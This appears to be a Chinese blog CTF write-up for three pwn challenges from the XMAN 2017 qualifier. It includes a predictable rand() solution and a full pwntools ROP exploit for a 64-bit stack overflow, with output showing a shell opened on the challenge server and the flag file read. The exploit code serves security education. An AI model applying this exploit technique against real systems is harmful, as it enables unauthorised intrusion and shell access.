Chybeta

XMAN选拔赛-2017-pwn-writeup

XMAN选拔赛-2017-pwn-writeup。

Raaa

1
2
Are you ok? Do you like mifan?
nc challenges.xctf.org.cn 14005

太简单。rand()。

1
2
3
4
5
6
7
#include <stdio.h>
#include <stdlib.h>
int main(void){
int a = rand() ^ 590558003;
printf("%d\n", a);
return 0;
}

得到1220048468,输入。

1
2
3
4
(venv) chybeta@ubuntu:~/pwn/ctf/XMAN2017/pwn/Raaa$ nc challenges.xctf.org.cn 14005
1220048468
XMAN{Have_y0u_ever_heard_of_AnLi,my_fr1end?}
heiheiehi!

Baaa

1
2
If you give me three days light。
nc challenges.xctf.org.cn 14002

没给程序:)。好吧google大法好。发现是16年CSAW-warmup原题。https://www.megabeets.net/csaw-2016-pwn-warmup-writeup/


flag:

1
XMAN{Ba1a1a_Xiao_Mo_Xian,BianBIanBian}

Caaa

1
2
3
4
一心想学bin的张日天报名了xman,开学的时候老师让大家自我介绍:
老师(手上拿着名单册子):好,下一位,请*言简意赅*的介绍自己
nc challenges.xctf.org.cn 14000

很明显的栈溢出,64位rop。溢出点用pattern生成后,在gdb中x/gx $rsp查看再带回pattern即可求出偏移为40。要是直接看IDA的话,buf的位置在bp-20h,0x20+8=40,也确实是40个字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
p = process("./2ddf143c-dd2f-4ce0-9409-9e8f72f5364a.bin")
# p = remote("challenges.xctf.org.cn","14000")
elf = ELF("./2ddf143c-dd2f-4ce0-9409-9e8f72f5364a.bin")
system_addr = elf.symbols['system']
pop_rdi_ret = 0x0000000000400973
sh_addr = next(elf.search('/bin/sh\x00'))
offset = 40
p.recv()
p.sendline("1")
p.recv()
payload = 'a' * offset
payload += p64(pop_rdi_ret)
payload += p64(sh_addr)
payload += p64(system_addr)
p.sendline(payload)
p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
(venv) chybeta@ubuntu:~/pwn/ctf/XMAN2017/pwn/Caaa$ python exp.py
[+] Opening connection to challenges.xctf.org.cn on port 14000: Done
[*] '/home/chybeta/pwn/ctf/XMAN2017/pwn/Caaa/2ddf143c-dd2f-4ce0-9409-9e8f72f5364a.bin'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE
[*] Switching to interactive mode
1
your name is:
hello, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaas @!
$ cat /home/xman/flag
xman{Welcome_to_bin_world!}$

剩下的pwn题,好像都是跟堆有关的。还不会,暂时就不写了。

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:XMAN选拔赛-2017-pwn-writeup

文章作者:chybeta

发布时间:2017年07月16日 - 19:07

最后更新:2017年07月28日 - 15:07

原始链接:http://chybeta.github.io/2017/07/16/XMAN选拔赛-2017-pwn-writeup/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。